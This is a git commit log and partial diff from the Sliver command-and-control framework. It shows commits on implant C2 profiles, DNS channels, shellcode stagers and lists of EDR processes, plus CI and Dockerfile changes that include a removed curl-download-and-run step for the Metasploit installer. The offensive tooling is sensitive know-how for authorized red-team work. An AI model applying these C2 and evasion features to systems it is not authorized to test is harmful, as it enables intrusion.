Joe a670538a77 Merge pull request #1409 from BishopFox/download-filter-fix
Fix filters in the download command
2023-09-17 07:59:28 -07:00
Raf d6ea4794b7 Removed a check from the implant download code that broke filters 2023-09-15 09:10:42 -04:00
Tim Makram Ghatas 7b67ec872e save profile to database on import 2023-09-14 23:51:59 +02:00
Raf a2bbaa095e Fixing typo in tail command help 2023-09-14 12:05:20 -04:00
Tim Makram Ghatas e5a01ae244 moved c2profile struct to client assets 2023-09-14 17:31:55 +02:00
Tim Makram Ghatas 4bcefdddb5 fix circular dependency 2023-09-14 17:24:54 +02:00
Raf 8e64ab288d Adding the head and tail commands, fixing a small issue with download 2023-09-14 10:32:54 -04:00
Tim Makram Ghatas 1bba3532af fix profile parsing errors 2023-09-13 20:09:37 +02:00
Tim Makram Ghatas 002e38e0ac Merge branch 'master' into v1.6.0/http-c2 2023-09-13 19:18:23 +02:00
Tim Makram Ghatas 99817a5f35 implemented c2 profile import and display 2023-09-13 19:11:24 +02:00
Tim Makram Ghatas 4921fa4fcf display implant c2 profile in implants command 2023-09-13 14:35:57 +02:00
dependabot[bot] b044a4584b Bump actions/checkout from 3 to 4
Bumps [actions/checkout](https://github.com/actions/checkout) from 3 to 4.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-09-11 03:13:23 +00:00
Tim Makram Ghatas eccc31f945 fix regression, http listener now uses correct port, and http headers are set when an associated profile can be found 2023-09-07 23:53:33 +02:00
Tim Makram Ghatas f2b42211d2 remove error handling statement 2023-09-06 14:54:10 +02:00
Tim Makram Ghatas b1ba761fff update handler to select session cookie based on profile 2023-09-04 23:36:18 +02:00
Tim Makram Ghatas 580d5128ba added main request handler for http profiles 2023-09-04 23:22:56 +02:00
Tim Makram Ghatas 67c519e8d6 add autocomplete for c2profile parameter during generation 2023-09-04 21:51:33 +02:00
Tim Makram Ghatas 4f9851215e merged master into branch 2023-09-04 20:41:33 +02:00
Joe f32d9a91ee Merge pull request #1399 from SpadesA99/SpadesA99-patch-1
Fix the process handle leak when using ps command on Windows
2023-09-01 09:28:50 -05:00
SpadesA99 f9c5daec39 Fix the process handle leak when using ps command on Windows
Signed-off-by: SpadesA99 <[email protected]>
2023-09-01 10:18:45 +08:00
Ronan Kervella f623b0cdce Merge pull request #1398 from realalexandergeorgiev/realalexandergeorgiev-patch-2
Update ps.go
2023-08-31 08:44:35 -07:00
Alexander Georgiev 9b5d4c3bab Update ps.go
Added more MDE processes

Signed-off-by: Alexander Georgiev <[email protected]>
2023-08-31 15:13:53 +02:00
Tim Makram Ghatas 29c2c9df76 merge master into branch 2023-08-30 19:19:50 +02:00
Tim Makram Ghatas 58b4596598 merged 1.6 master into branch 2023-08-30 14:34:47 +02:00
Joe a9f885a919 Merge pull request #1382 from BishopFox/go/v1.21.0
Go v1.21.0
2023-08-09 19:02:52 -05:00
moloch-- 5a532f77dc Go v1.21.0 2023-08-09 15:58:36 -07:00
Joe 375f6fd235 Merge pull request #1381 from BishopFox/cybereason
Added Cybereason ActiveProbe to known processes
2023-08-09 15:45:24 -05:00
c2biz 0a32ca109d Added Cybereason ActiveProbe to known processes 2023-08-09 16:01:03 -04:00
Joe d048427ebf Merge pull request #1284 from rwincey/notxt_dns
Notxt dns
2023-08-08 18:37:58 -05:00
Joe d22579c204 Merge pull request #1374 from BishopFox/mtls/lencheck
Add basic len check to mtls conn
2023-08-08 18:37:29 -05:00
Ronan Kervella fb5bd84811 Merge branch 'master' into fix/kill 2023-08-08 11:14:23 -07:00
Joe 1e79af3d89 Merge pull request #1375 from BishopFox/87c0dependabot/go_modules/github.com/tetratelabs/wazero-1.3.1
Bump github.com/tetratelabs/wazero from 1.2.1 to 1.3.1
2023-08-08 12:09:15 -05:00
Joe f018f86522 Merge branch 'master' into 87c0dependabot/go_modules/github.com/tetratelabs/wazero-1.3.1 2023-08-08 12:08:58 -05:00
Joe 584cacb7da Merge pull request #1377 from TheDuchy/master
Add the ability to generate .exe MSF stagers from Sliver
2023-08-08 12:08:13 -05:00
Ronan Kervella 714ab96270 Merge branch 'master' into mtls/lencheck 2023-08-08 09:59:30 -07:00
rkervella ae8444fc75 fix kill for sessions 2023-08-08 09:28:52 -07:00
duchy c7a2bbc46b Added ability to generate .exe stagers from MSF 2023-08-08 13:26:27 +02:00
dependabot[bot] 4458911e5c Bump github.com/tetratelabs/wazero from 1.2.1 to 1.3.1
Bumps [github.com/tetratelabs/wazero](https://github.com/tetratelabs/wazero) from 1.2.1 to 1.3.1.
- [Release notes](https://github.com/tetratelabs/wazero/releases)
- [Commits](https://github.com/tetratelabs/wazero/compare/v1.2.1...v1.3.1)

---
updated-dependencies:
- dependency-name: github.com/tetratelabs/wazero
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-08-07 03:50:35 +00:00
Joe 477df0eac9 Merge pull request #1335 from BishopFox/b6e0dependabot/go_modules/golang.org/x/crypto-0.11.0
Bump golang.org/x/crypto from 0.10.0 to 0.11.0
2023-08-04 15:50:22 -05:00
Joe 22286fdcdd Merge branch 'master' into b6e0dependabot/go_modules/golang.org/x/crypto-0.11.0
Signed-off-by: Joe <[email protected]>
2023-08-04 15:50:13 -05:00
Joe 150b62a0aa Merge pull request #1373 from BishopFox/fix/windows-assets-filepath
Use path.Join for embedded fs instead of filepath.Join
2023-08-04 15:47:44 -05:00
rkervella 270e9f2c5f Use path.Join for embedded fs instead of filepath.Join 2023-08-04 12:59:55 -07:00
Joe ce81ce5de0 Merge pull request #1372 from BishopFox/go/v1.20.7
Go 1.20.7
2023-08-04 09:13:05 -05:00
moloch-- 388b371573 Add basic len check to mtls conn 2023-08-03 17:32:57 -07:00
moloch-- a4425c169e Update go 2023-08-03 17:03:07 -07:00
Joe fd0e54c02c Merge branch 'master' into notxt_dns 2023-08-03 18:57:50 -05:00
Joe 59212f06fd Merge pull request #1339 from BishopFox/e3bddependabot/go_modules/golang.org/x/sys-0.10.0
Bump golang.org/x/sys from 0.9.0 to 0.10.0
2023-08-03 18:57:09 -05:00
Joe 0140bc2b8f Merge branch 'master' into e3bddependabot/go_modules/golang.org/x/sys-0.10.0 2023-08-03 18:56:54 -05:00
Ronan Kervella 4faaa4c075 Merge pull request #1368 from SpadesA99/master
Fix CP command file occupation
2023-08-01 18:51:13 -07:00
SpadesA99 ef1e12e6d4 Fix CP command file occupation
Signed-off-by: SpadesA99 <[email protected]>
2023-08-01 18:04:31 +08:00
Ronan Kervella 7741b0373f Merge branch 'master' into notxt_dns 2023-07-28 11:09:44 -07:00
Joe 4f2767ab59 Merge pull request #1356 from rarFood/master
fix 'gpg: invalid armor header'
2023-07-23 17:18:53 -05:00
rarFood 68f78e791f fix 'gpg: invalid armor header' 2023-07-21 11:21:05 -04:00
Ronan Kervella d28bac4259 Merge branch 'master' into e3bddependabot/go_modules/golang.org/x/sys-0.10.0 2023-07-19 08:35:23 -07:00
Ronan Kervella 00197deefb Merge branch 'master' into b6e0dependabot/go_modules/golang.org/x/crypto-0.11.0 2023-07-19 08:33:47 -07:00
Ronan Kervella 0bfbe9ecd4 Merge pull request #1350 from n3rada/install_script
Enhance the `install` script
2023-07-19 08:27:30 -07:00
Joe 88ac55a2f7 Merge branch 'master' into install_script 2023-07-16 08:19:40 -05:00
Ronan Kervella a1c19bc745 Merge pull request #1352 from xinhuang/pr/no-http-fallback-master
Add option to disable connect to tcp/80 when tcp/443 not reachable
2023-07-13 11:24:20 -07:00
Xin Huang 5a39e253bb Add no-fallback=true parameter for https beacons so they won't connect to TCP 80 if TCP 443 isn't reachable 2023-07-14 01:08:47 +09:00
n3rada 3b8912df4f Enhance the install script 2023-07-13 00:04:29 +02:00
Ronan Kervella 452ce12e9f Merge pull request #1346 from Paradoxis/feature/added-copy-command
Added a copy file command
2023-07-12 10:34:03 -07:00
Ronan Kervella aed28b0ff1 Merge branch 'master' into feature/added-copy-command 2023-07-12 09:21:18 -07:00
Ronan Kervella a2c3263619 Merge pull request #1345 from BishopFox/fix/pstree-1.6
Fix pstree (v1.6)
2023-07-12 08:49:33 -07:00
Paradoxis 300c2f7851 Titlecased copy message 2023-07-12 00:06:31 +02:00
Paradoxis b1d41f1032 Added a check to ensure two arguments are passed to CpCmd 2023-07-12 00:01:39 +02:00
Paradoxis 9054d11749 Moved constants to the end 2023-07-12 00:01:30 +02:00
Paradoxis c1f0b32c93 Added a copy file command 2023-07-11 23:55:00 +02:00
Ronan Kervella a3ecf3d593 Merge branch 'master' into fix/pstree-1.6 2023-07-11 14:23:49 -07:00
rkervella 1a43e70fd1 Fix pstree 2023-07-11 12:25:23 -07:00
Ronan Kervella 1fc7d881b2 Merge pull request #1341 from BishopFox/upload-fixes
Upload command: Changes to remote path specification
2023-07-11 08:43:26 -07:00
Raf 27254a2d89 upload: Fixing panic when remote path not specified, allowing for specification of a directory for remote path 2023-07-10 16:49:03 -04:00
dependabot[bot] 19573c9f20 Bump golang.org/x/sys from 0.9.0 to 0.10.0
Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.9.0 to 0.10.0.
- [Commits](https://github.com/golang/sys/compare/v0.9.0...v0.10.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-10 03:36:14 +00:00
dependabot[bot] 0f11532e37 Bump golang.org/x/crypto from 0.10.0 to 0.11.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.10.0 to 0.11.0.
- [Commits](https://github.com/golang/crypto/compare/v0.10.0...v0.11.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-10 03:35:37 +00:00
Joe c75cf89def Merge branch 'master' into notxt_dns 2023-07-08 11:27:04 -05:00
Joe 2c6cf1e96b Merge pull request #1332 from stephenbradshaw/stager-rc4-support
Add RC4 support to shellcode stager
2023-07-08 11:26:13 -05:00
Stephen Bradshaw bd4d5eca77 Add RC4 support to shellcode stager 2023-07-08 14:53:37 +10:00
Joe 514da3a682 Merge pull request #1324 from BishopFox/a8c6dependabot/go_modules/gorm.io/gorm-1.25.2
Bump gorm.io/gorm from 1.25.2-0.20230530020048-26663ab9bf55 to 1.25.2
2023-07-03 00:38:33 -05:00
Joe 5e691bdf25 Merge branch 'master' into a8c6dependabot/go_modules/gorm.io/gorm-1.25.2 2023-07-03 00:38:26 -05:00
Joe 0eb997388a Merge pull request #1325 from BishopFox/6595dependabot/go_modules/google.golang.org/protobuf-1.31.0
Bump google.golang.org/protobuf from 1.30.0 to 1.31.0
2023-07-03 00:38:10 -05:00
dependabot[bot] 33e6273c62 Bump google.golang.org/protobuf from 1.30.0 to 1.31.0
Bumps google.golang.org/protobuf from 1.30.0 to 1.31.0.

---
updated-dependencies:
- dependency-name: google.golang.org/protobuf
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-03 03:26:44 +00:00
dependabot[bot] 704d65059f Bump gorm.io/gorm from 1.25.2-0.20230530020048-26663ab9bf55 to 1.25.2
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.25.2-0.20230530020048-26663ab9bf55 to 1.25.2.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/commits/v1.25.2)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-07-03 03:26:39 +00:00
Joe dee7434bd8 Merge pull request #1323 from BishopFox/go/v1.20.5
Go v1.20.5
2023-07-01 17:33:57 -05:00
moloch-- 8b6b0d7a14 Go v1.20.5 2023-07-01 14:31:55 -07:00
Joe ccf53647b8 Merge pull request #1322 from BishopFox/multiplayer/tailscale
Multiplayer/Tailscale
2023-07-01 11:35:33 -05:00
Joe bfacc71048 Merge branch 'master' into notxt_dns 2023-06-29 09:18:11 -05:00
Joe f99b3cae9c Merge branch 'master' into notxt_dns 2023-06-26 14:26:42 -05:00
Joe 6bd1108152 Merge branch 'master' into notxt_dns 2023-06-20 16:29:33 -05:00
Joe 6db7861a70 Merge branch 'master' into notxt_dns 2023-06-20 13:56:16 -05:00
Tim Makram Ghatas aa2652e4e7 add default http c2 profile parameter for beacons 2023-06-11 19:28:55 -04:00
Tim Makram Ghatas c7531bdacf fixed http c2 randomizer and path segments length bug 2023-06-11 19:24:24 -04:00
Tim Makram Ghatas b7d8c535f0 retrieve monitor config from sqlite db on start command 2023-06-11 18:53:22 -04:00
Tim Makram Ghatas a1194c0c41 allow inserting, deleting and retrieving watchtower configurations from database 2023-06-11 18:44:12 -04:00
Tim Makram Ghatas aac5b227ca added rpc functions for watchtower configuration 2023-06-09 15:33:58 -04:00
Tim Makram Ghatas 20221a8a50 updated watchtower pb object, and added commands for listing adding and removing watchtower configuration 2023-06-09 15:28:50 -04:00
Tim Makram Ghatas fca1202cee added watchtower objects to sql db 2023-06-08 12:24:33 -04:00
Tim Makram Ghatas 6e49197b2c add protobuf definition for watchtower config 2023-06-07 18:01:50 -04:00
b0yd bbe5f4c7cf Removed unnecessary change 2023-06-07 10:15:09 -04:00
b0yd 66c521d719 Merge updates 2023-06-07 09:58:47 -04:00
Tim Makram Ghatas 25f7c6e63e switch to constants variable 2023-06-07 08:08:59 -04:00
Tim Makram Ghatas 678c70d108 add default port check for mtls 2023-06-07 07:53:16 -04:00
Tim Makram Ghatas ee95829770 refactor job creation and move hardcoded values to constants 2023-06-06 23:37:53 -04:00
Tim Makram Ghatas a73bdf91e2 automatically update job id's on server restart 2023-06-06 23:00:37 -04:00
Tim Makram Ghatas 2cac1eb38b set default value for c2 profile and move to constant strings 2023-06-06 21:01:13 -04:00
b0yd 9148720eb2 Added logic to send clear message after a job is completed 2023-06-06 11:09:52 -04:00
Tim Makram Ghatas dcb0128c3c added multiplayer mode job listener to db 2023-06-06 02:40:44 +02:00
Tim Makram Ghatas 195354792e remove unused code 2023-06-06 02:24:35 +02:00
Tim Makram Ghatas 1419e7173c store and retrieve persistent listeners from database 2023-06-06 02:21:16 +02:00
Tim Makram Ghatas 1241d87b9b remove listener from db when killed 2023-06-06 01:13:32 +02:00
Tim Makram Ghatas 3dc7002fdd fixed jobid display error and added sql tables for dns domains and mtls 2023-06-06 00:45:07 +02:00
b0yd 80947425ec Don't bail on replay attack 2023-06-05 17:23:26 -04:00
b0yd 185ded66c2 Error msg 2023-06-05 17:04:35 -04:00
b0yd 884f2d0bd7 Typo 2023-06-05 16:57:51 -04:00
b0yd 4d0f6585d8 More dbg msgs 2023-06-05 16:48:24 -04:00
b0yd 998bd5ab80 Fixed empty message bug 2023-06-05 16:19:15 -04:00
b0yd 76a8de643f Fixed empty message bug 2023-06-05 16:12:23 -04:00
Tim Makram Ghatas a463aa1218 added listener jobs to database, fixed jobid output issue and implemented save query for listener jobs 2023-06-05 20:05:02 +02:00
Tim Makram Ghatas 5281465c7f typo 2023-06-05 19:42:36 +02:00
Tim Makram Ghatas dd433136bc move away from server object to protobuf 2023-06-05 19:17:31 +02:00
Tim Makram Ghatas 906b8eeec7 rebuild protobuf 2023-06-05 19:16:14 +02:00
Tim Makram Ghatas 126dcf7d86 remove persistent flag from client job commands and update variable name 2023-06-05 19:15:44 +02:00
Tim Makram Ghatas 43eb9e3ded update protobuf definition for c2 listeners 2023-06-05 19:14:23 +02:00
Tim Makram Ghatas c8a661dccc fix for binary test cases 2023-06-04 20:32:16 +02:00
b0yd 66b7b98ed3 Hopefully fixed race condition 2023-06-02 16:49:19 -04:00
b0yd d341b1cb3a Hopefully fixed race condition 2023-06-02 16:13:01 -04:00
b0yd f5d2cd2e94 Initialized new map 2023-06-02 15:59:45 -04:00
b0yd 2b2feb306b Hopefully fixed race condition 2023-06-02 15:46:34 -04:00
b0yd d390ac95c7 Attempting to fix race condition in poll 2023-06-02 15:03:18 -04:00
b0yd 52ff6b4c52 Do not respond if there are no messages available 2023-06-02 14:31:23 -04:00
b0yd 4c8486349b Do not respond if there are no messages available 2023-06-02 14:29:08 -04:00
b0yd 58bcac52eb Refuse requests for duplicate requests 2023-06-02 14:11:24 -04:00
b0yd 8469c9a1ce Debug on message send queue 2023-06-02 13:15:27 -04:00
b0yd ca7b62fb7e Removed some error handled that was designed that way 2023-06-02 10:53:22 -04:00
b0yd 1902f131e7 Added error handling, debug msgs, and indexes to AAAA records to be reassembled 2023-06-02 09:40:55 -04:00
b0yd 80e04c71ff Merge branch 'notxt_dns' of https://github.com/rwincey/sliver into notxt_dns 2023-06-01 14:58:04 -04:00
b0yd b8697f6271 Switched from cname to just aaaa IPs 2023-06-01 14:56:01 -04:00
rwincey 91b2836968 Merge branch 'BishopFox:master' into notxt_dns 2023-05-30 13:46:55 -04:00
Tim Makram Ghatas 3e67c6e2b8 replaced hardcoded http profile value with commandline arg, fixed pb issue with certificate digest and switched from profile id to profile name in implantconfig pb 2023-05-30 17:11:32 +02:00
rwincey 244639a79c Merge branch 'BishopFox:master' into notxt_dns 2023-05-30 10:12:52 -04:00
Tim Makram Ghatas c03975d6c4 added profile randomization during implant generation 2023-05-30 13:59:57 +02:00
Tim Makram Ghatas 429c520c78 add ECCPublicKeyDigest to protobuf and database 2023-05-30 11:46:18 +02:00
Tim Makram Ghatas a6ba86379a Merge branch 'v1.6.0/master' into v1.6.0/http-c2 2023-05-30 10:39:22 +02:00
Tim Makram Ghatas 4b7b8c4b3e autoload default profile during implant generation 2023-05-30 10:08:09 +02:00
Tim Makram Ghatas 75c3d0c0fb load http configurations from database on listener creation 2023-05-30 06:41:08 +02:00
Tim Makram Ghatas 8f7da07a35 protobuf build update 2023-05-30 06:21:34 +02:00
Tim Makram Ghatas 95a4604a8b fix path segments generation issues 2023-05-30 06:20:53 +02:00
b0yd 992ee14e82 Fixed cname recursive lookup 2023-05-29 16:00:50 -04:00
b0yd 2066d200c4 More size massaging 2023-05-29 13:10:20 -04:00
b0yd 683a779159 More size massaging 2023-05-29 12:49:35 -04:00
b0yd d14003bf14 More size massaging 2023-05-29 11:15:29 -04:00
b0yd e4b6da3471 More size massaging 2023-05-29 11:06:58 -04:00
b0yd 4c0f36dba2 More size massaging 2023-05-29 10:50:56 -04:00
Tim Makram Ghatas 3b295b3bae fixed renamed protobuf issues and default configuration save 2023-05-28 23:20:59 +02:00
b0yd 302711e817 Trimmed DNS size to fit within 512 2023-05-26 17:39:35 -04:00
b0yd a8b69b352d Added AAAA record to response along with CNAME 2023-05-26 11:32:43 -04:00
b0yd f180dd9aff Added support for nonTXT based DNS comms 2023-05-26 09:13:45 -04:00
Tim Makram Ghatas 09f2521bc3 added check for included c2 channels during config generation 2023-05-26 02:15:25 +02:00
Tim Makram Ghatas d674b8d40f fix sliver rendering code variable name changes 2023-05-26 01:45:04 +02:00
Tim Makram Ghatas d98b24fbc6 add boolean checks for named pipe and tcp pivot 2023-05-26 01:37:44 +02:00
Tim Makram Ghatas 0f38081c0c check for presence of default http c2 profile on startup, and if not present generate and insert into database 2023-05-25 22:58:48 +02:00
Tim Makram Ghatas bedc225344 added default http profile generator 2023-05-25 20:25:42 +02:00
Tim Makram Ghatas 82c68bda54 ImplantConfigSave uses model object instead of protobuf 2023-05-25 16:46:09 +02:00
Tim Makram Ghatas 89b0263634 switch use of models.ImplantConfig to clientpb.ImplantConfig 2023-05-25 00:10:07 +02:00
moloch-- 865f295c65 wip refactor of generate code 2023-05-19 08:25:28 -07:00
moloch-- bad1897e78 Implemented ToProtobuf() conversions 2023-05-17 18:24:05 -07:00
moloch-- ae101d3243 Implemented ToProtobuf() conversions 2023-05-17 18:23:25 -07:00
moloch-- a947d9efeb Implemented basic http c2 pb 2023-05-17 18:13:14 -07:00
moloch-- afa2b5c715 Implemented basic http c2 pb 2023-05-17 18:11:55 -07:00
moloch-- 086eb7fe42 Added more cookie names 2023-05-17 17:27:29 -07:00
moloch-- 55c8cddf88 Expanded default http c2 config 2023-05-17 17:04:44 -07:00
moloch-- 7661d0c1b9 Implement gorm hooks, cleanup 2023-05-17 16:43:40 -07:00
moloch-- f1f736d7c1 Outline http c2 in db 2023-05-17 16:32:04 -07:00
moloch-- 8ad0dfb4c8 Outline http c2 in db 2023-05-17 16:31:56 -07:00
3102 changed files with 364132 additions and 95959 deletions

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+8 -8
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@@ -11,10 +11,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.20
uses: actions/setup-go@v4
- name: Go 1.21
uses: actions/setup-go@v5
with:
go-version: "^1.20"
go-version: "^1.21"
- name: OS Packages
run: |
@@ -22,7 +22,7 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -42,13 +42,13 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.20
uses: actions/setup-go@v4
- name: Go 1.21
uses: actions/setup-go@v5
with:
go-version: "^1.20"
go-version: "^1.21"
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
+5 -5
View File
@@ -16,13 +16,13 @@ jobs:
steps:
# Setup go environment
- name: Go 1.20
uses: actions/setup-go@v4
- name: Go 1.21
uses: actions/setup-go@v5
with:
go-version: "^1.20"
go-version: "^1.21"
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v4
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -36,7 +36,7 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
+102
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@@ -0,0 +1,102 @@
# Sample workflow for building and deploying a Next.js site to GitHub Pages
#
# To get started with Next.js see: https://nextjs.org/docs/getting-started
#
name: Sliver Docs
on:
# Runs on pushes targeting the default branch
push:
branches: ["master"]
# Allows you to run this workflow manually from the Actions tab
workflow_dispatch:
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
permissions:
contents: read
pages: write
id-token: write
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
concurrency:
group: "pages"
cancel-in-progress: false
jobs:
build:
runs-on: ubuntu-latest
defaults:
run:
working-directory: ${{ github.workspace }}/docs/sliver-docs
env:
working-directory: ${{ github.workspace }}/docs/sliver-docs
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Detect package manager
id: detect-package-manager
run: |
if [ -f "${{ github.workspace }}/docs/sliver-docs/yarn.lock" ]; then
echo "manager=yarn" >> $GITHUB_OUTPUT
echo "command=install" >> $GITHUB_OUTPUT
echo "runner=yarn" >> $GITHUB_OUTPUT
exit 0
elif [ -f "${{ github.workspace }}/docs/sliver-docs/package.json" ]; then
echo "manager=npm" >> $GITHUB_OUTPUT
echo "command=ci" >> $GITHUB_OUTPUT
echo "runner=npx --no-install" >> $GITHUB_OUTPUT
exit 0
else
echo "Unable to determine package manager"
exit 1
fi
- name: Setup Node
uses: actions/setup-node@v4
with:
cache: "npm"
cache-dependency-path: "**/package-lock.json"
node-version: "lts/*"
- name: Setup Pages
uses: actions/configure-pages@v3
- name: Restore cache
uses: actions/cache@v3
with:
path: |
.next/cache
# Generate a new cache whenever packages or source files change.
key: ${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-${{ hashFiles('**.[jt]s', '**.[jt]sx') }}
# If source files changed but packages didn't, rebuild from a prior cache.
restore-keys: |
${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-
- name: Install dependencies
working-directory: ${{ env.working-directory}}
run: ${{ steps.detect-package-manager.outputs.manager }} ${{ steps.detect-package-manager.outputs.command }}
- name: Build with Next.js
working-directory: ${{ env.working-directory}}
run: ${{ steps.detect-package-manager.outputs.runner }} next build
- name: Upload artifact
uses: actions/upload-pages-artifact@v1
with:
path: ${{ github.workspace }}/docs/sliver-docs/out
# Deployment job
deploy:
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
runs-on: ubuntu-latest
needs: build
steps:
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v2
+20 -12
View File
@@ -3,6 +3,14 @@ on:
pull_request:
branches:
- master
paths:
- "go.mod"
- "go.sum"
- "Makefile"
- "**/*.go"
- "**/*.c"
- "**/*.h"
- "**/*.sh"
types:
- opened
- reopened
@@ -15,10 +23,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.20
uses: actions/setup-go@v4
- name: Go 1.21
uses: actions/setup-go@v5
with:
go-version: "^1.20"
go-version: "^1.21"
- name: OS Packages
run: |
@@ -27,7 +35,7 @@ jobs:
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -49,16 +57,16 @@ jobs:
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.20
uses: actions/setup-go@v4
- name: Go 1.21
uses: actions/setup-go@v5
with:
go-version: "^1.20"
go-version: "^1.21"
- name: Mingw
run: brew install mingw-w64
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -80,13 +88,13 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.20
uses: actions/setup-go@v4
- name: Go 1.21
uses: actions/setup-go@v5
with:
go-version: "^1.20"
go-version: "^1.21"
- name: Check Out Code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
+107 -53
View File
@@ -1,71 +1,125 @@
FROM golang:1.20.4
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
# Sliver using this container configuration! However, if you do want
# a Docker deployment this is probably a good place to start.
# For production:
# docker build --target production -t sliver .
# docker run -it --rm -v $HOME/.sliver:/home/sliver/.sliver sliver
#
# For unit testing:
# docker build --target test .
#
ENV PROTOC_VER 21.12
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
# STAGE: base
## Compiles Sliver for use
FROM --platform=linux/amd64 golang:1.21.4 as base
# Base packages
### Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
git build-essential zlib1g zlib1g-dev wget zip unzip
#
# > User
#
### Add sliver user
RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
#
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
#
# > Sliver
#
# Protoc
# WORKDIR /tmp
# RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
# && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
# && cp -vv ./bin/protoc /usr/local/bin
# RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
# && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
# Go assets
### Build sliver:
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all \
&& make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
RUN make clean-all
RUN make
RUN cp -vv sliver-server /opt/sliver-server
# Run unit tests
# STAGE: test
## Run unit tests against the compiled instance
## Use `--target test` in the docker build command to run this stage
FROM --platform=linux/amd64 base as test
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
curl gcc-multilib build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
RUN /opt/sliver-server unpack --force
### Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /home/sliver/.sliver
# STAGE: production
## Final dockerized form of Sliver
FROM --platform=linux/amd64 debian:bookworm-slim as production
### Install production packages
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
libxml2 libxml2-dev libxslt-dev locate gnupg \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
